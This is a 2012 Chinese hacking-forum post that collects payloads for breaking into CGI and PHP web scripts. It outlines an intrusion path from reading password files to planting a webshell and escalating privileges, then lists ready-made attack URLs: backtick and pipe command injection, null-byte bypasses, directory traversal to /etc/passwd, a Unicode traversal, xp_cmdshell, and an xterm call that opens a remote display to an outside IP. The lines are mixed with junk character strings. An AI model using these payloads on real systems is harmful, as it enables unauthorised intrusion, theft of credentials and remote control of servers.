找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2748|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  # L* @6 ^: @0 o1 y- ~7 ^$ `' v% u
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
" ~% h1 D1 u0 u+ o' R/ o% c感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  - S2 ?# H4 S7 |$ X* |' l
注“  
1 Q8 B' `; V1 N' m+ n$ S; ]" uperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
- L- h3 O+ ?8 _( @以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  
7 }6 b2 x. }& X1 O/ N5 f: ?; A1 P: J5 E7 t' i  s. q& ?% g1 `  O
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
; C  W" f4 D2 d: f" phttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  
( T5 U, Z( X* y. z4 hhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  6 m3 T2 p/ c0 ?: p: H
http://target.com/cgi-bin/home/news/sub.pl?`id`  ( }6 F1 g1 X  x# V; u4 z# U0 O
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  7 o- H3 K, D5 W( m
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  + g4 |* O. b, p9 a/ G

" Y1 F! z4 N& {http://target.com/test.pl;ls|  4 }! f/ |1 P* N- `
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
( |! s( _. L3 \( m, Uhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  1 _6 ^# Y/ F2 G* B! u" {
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
. _2 l7 z9 f' @! B$ D. a5 Q比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  ' W0 X5 I; ^% z
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
  X! p$ h  k' W6 Y. }6 B2 g+ W; z% c6 j4 F' j, x! t
http://target.com/test.pl?&........ /../../etc/passwd  # e/ w! P5 \. p, ]0 i

& l, b4 L9 e9 F& Yhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  9 Y( N/ m' _6 T7 X/ `! g
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  , [# h# \% N7 v+ p
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
, @& i! d/ I! I  F! ]" k) B/ t2 m: L! f
http://www.target.org/show.php?f ... /include/config.php 查看php代码  
* D* k1 G$ I# Fhttp://www.target.org/show.php?f ... ng/admin/global.php  - L$ R1 V  U1 U0 \) v/ v/ l
, h. |) t8 k1 Y! i$ G* u
emm和ps的一句话' y& E3 F% Q1 I0 L# D' x
& N3 T% L* n8 q  X5 X( I
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
1 u0 S1 U' ^  i* d  @. e
: p6 U% M$ }7 ^% [, {" b- ^$ S>bbb%20|  
$ t$ v- W- `7 i3 M5 P. \( x, d* X& R  ?$ q1 X% I
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  
0 R5 i$ L7 W) ]
2 l- ?. B; ~0 N" C2 B: m  |http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  * }6 ]1 m) l; l: L
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  $ F! l' y0 @2 S

5 V% [9 L3 M8 o- d相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
5 |/ m3 ]+ k8 ~. a# T1 r9 Khttp://target.com/index.html#cmd.exe  : c' q1 Y' L  q" X
http://target.com/index.html?dummyparam=xp_cmdshell  / J& n! x  G9 {$ o5 f
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
) C4 F- O1 u4 S, ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表